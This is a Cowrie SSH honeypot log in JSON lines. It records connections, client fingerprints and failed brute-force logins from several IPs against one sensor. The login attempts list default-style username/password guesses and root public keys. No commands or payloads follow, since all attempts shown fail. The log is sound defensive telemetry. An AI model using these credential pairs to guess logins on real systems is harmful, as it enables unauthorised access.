{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:17.735415Z","src_ip":"45.132.125.41","session":"92dde06d0a89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38904,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ab7d29fb140","protocol":"ssh","message":"New connection: 176.65.132.129:38904 (159.203.135.109:22) [session: 9ab7d29fb140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:18.717051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:18.721607Z","src_ip":"176.65.132.129","session":"9ab7d29fb140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:18.803326Z","src_ip":"176.65.132.129","session":"9ab7d29fb140","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:19.051084Z","src_ip":"176.65.132.129","session":"9ab7d29fb140","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:20.137417Z","src_ip":"176.65.132.129","session":"9ab7d29fb140","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38928,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d597f74c3f8","protocol":"ssh","message":"New connection: 176.65.132.129:38928 (159.203.135.109:22) [session: 7d597f74c3f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:22.004080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:22.010990Z","src_ip":"176.65.132.129","session":"7d597f74c3f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:22.100612Z","src_ip":"176.65.132.129","session":"7d597f74c3f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:22.349828Z","src_ip":"176.65.132.129","session":"7d597f74c3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:23.437107Z","src_ip":"176.65.132.129","session":"7d597f74c3f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00285816192627,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:24.789455Z","src_ip":"152.42.224.71","session":"d8ece33836e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":38964,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3b365495441","protocol":"ssh","message":"New connection: 176.65.132.129:38964 (159.203.135.109:22) [session: c3b365495441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:25.354151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:25.474694Z","src_ip":"176.65.132.129","session":"c3b365495441","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:25.479294Z","src_ip":"176.65.132.129","session":"c3b365495441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:25.817937Z","src_ip":"176.65.132.129","session":"c3b365495441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:26.902781Z","src_ip":"176.65.132.129","session":"c3b365495441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":53774,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b0ac2ccc5ad","protocol":"ssh","message":"New connection: 62.133.62.83:53774 (10.17.0.5:22) [session: 9b0ac2ccc5ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:28.198118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:28.202902Z","src_ip":"62.133.62.83","session":"9b0ac2ccc5ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:28.282420Z","src_ip":"62.133.62.83","session":"9b0ac2ccc5ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"panzer","message":"login attempt [root/panzer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:28.527371Z","src_ip":"62.133.62.83","session":"9b0ac2ccc5ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47516,"dst_ip":"159.203.135.109","dst_port":22,"session":"16327e9b9d80","protocol":"ssh","message":"New connection: 176.65.132.129:47516 (159.203.135.109:22) [session: 16327e9b9d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:28.751431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:28.756306Z","src_ip":"176.65.132.129","session":"16327e9b9d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:28.838732Z","src_ip":"176.65.132.129","session":"16327e9b9d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:29.087435Z","src_ip":"176.65.132.129","session":"16327e9b9d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:29.614788Z","src_ip":"62.133.62.83","session":"9b0ac2ccc5ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:30.175197Z","src_ip":"176.65.132.129","session":"16327e9b9d80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47520,"dst_ip":"159.203.135.109","dst_port":22,"session":"da5452d4bc27","protocol":"ssh","message":"New connection: 176.65.132.129:47520 (159.203.135.109:22) [session: da5452d4bc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.031320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.037580Z","src_ip":"176.65.132.129","session":"da5452d4bc27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.121687Z","src_ip":"176.65.132.129","session":"da5452d4bc27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.367731Z","src_ip":"176.65.132.129","session":"da5452d4bc27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.69.130","src_port":47008,"dst_ip":"10.17.0.5","dst_port":22,"session":"a755979bd189","protocol":"ssh","message":"New connection: 74.48.69.130:47008 (10.17.0.5:22) [session: a755979bd189]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.432521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.437433Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.506270Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f6:b1:15:b0:91:d1:2e:0f:3f:05:a8:09:5f:94:53:ee","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICzBxhvCSk0s6qXlaBGiLqbw3hHgLf6Aqtt4R3LKt/U9","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint f6:b1:15:b0:91:d1:2e:0f:3f:05:a8:09:5f:94:53:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.824599Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f6:b1:15:b0:91:d1:2e:0f:3f:05:a8:09:5f:94:53:ee","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICzBxhvCSk0s6qXlaBGiLqbw3hHgLf6Aqtt4R3LKt/U9","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.828622Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:ab:c9:01:0f:90:9f:1b:84:fc:e6:bd:2a:9a:56:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5hMonzwu+oqbe0bl+w9bFBuAlIKeaPwJ8Mn/DS0cRPRCkNFSejiaG77CdBdskV3NFGtm9wxIVrucuH6vLB0kkfGTl28IlOLiL0u/bQ51ajWPvStwVhXXdGa/Ty2dNAGKA0VTYATOZ6k7+ZhwxL6eRiqxjUx75OmpM3Z+fKLJVNecYP+W4JtsdQhnhlBGJi0pYs/iFfIvcXstQJRLQhA0LYUts9eU84c7Y0ac2mB/FsOhLeGsXfSPFvtOh4fL1+aa2ANZ+CeFv9yZ7IEBbmpmTJVbs7IOv3pIY3UX+0QOJFI5xlbLYTBMt2eP8gEusq489J1wfpgdRkI3JBMUcpVTt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:ab:c9:01:0f:90:9f:1b:84:fc:e6:bd:2a:9a:56:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.912792Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:ab:c9:01:0f:90:9f:1b:84:fc:e6:bd:2a:9a:56:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5hMonzwu+oqbe0bl+w9bFBuAlIKeaPwJ8Mn/DS0cRPRCkNFSejiaG77CdBdskV3NFGtm9wxIVrucuH6vLB0kkfGTl28IlOLiL0u/bQ51ajWPvStwVhXXdGa/Ty2dNAGKA0VTYATOZ6k7+ZhwxL6eRiqxjUx75OmpM3Z+fKLJVNecYP+W4JtsdQhnhlBGJi0pYs/iFfIvcXstQJRLQhA0LYUts9eU84c7Y0ac2mB/FsOhLeGsXfSPFvtOh4fL1+aa2ANZ+CeFv9yZ7IEBbmpmTJVbs7IOv3pIY3UX+0QOJFI5xlbLYTBMt2eP8gEusq489J1wfpgdRkI3JBMUcpVTt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.917247Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:c0:7a:05:61:e5:c5:27:65:4d:d8:63:e5:57:29:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA60K2PW4hLaDu2/WA9jv6Q+4VhT+MNpiPZMVzi2kBI7Fwm26RlGZnMhn0BappvVTkgihluDeZxlv0gLFS7yyZiY319benGhwmHy3rVypB3AyvW65Pjp7qoRIhLobrLqgOMgP/P8IXxygq0JsyvcS++nFJIjMatp+yw0rtJxcSqvk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:c0:7a:05:61:e5:c5:27:65:4d:d8:63:e5:57:29:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:39:32.986501Z","src_ip":"74.48.69.130","session":"a755979bd189","protocol":"ssh"}
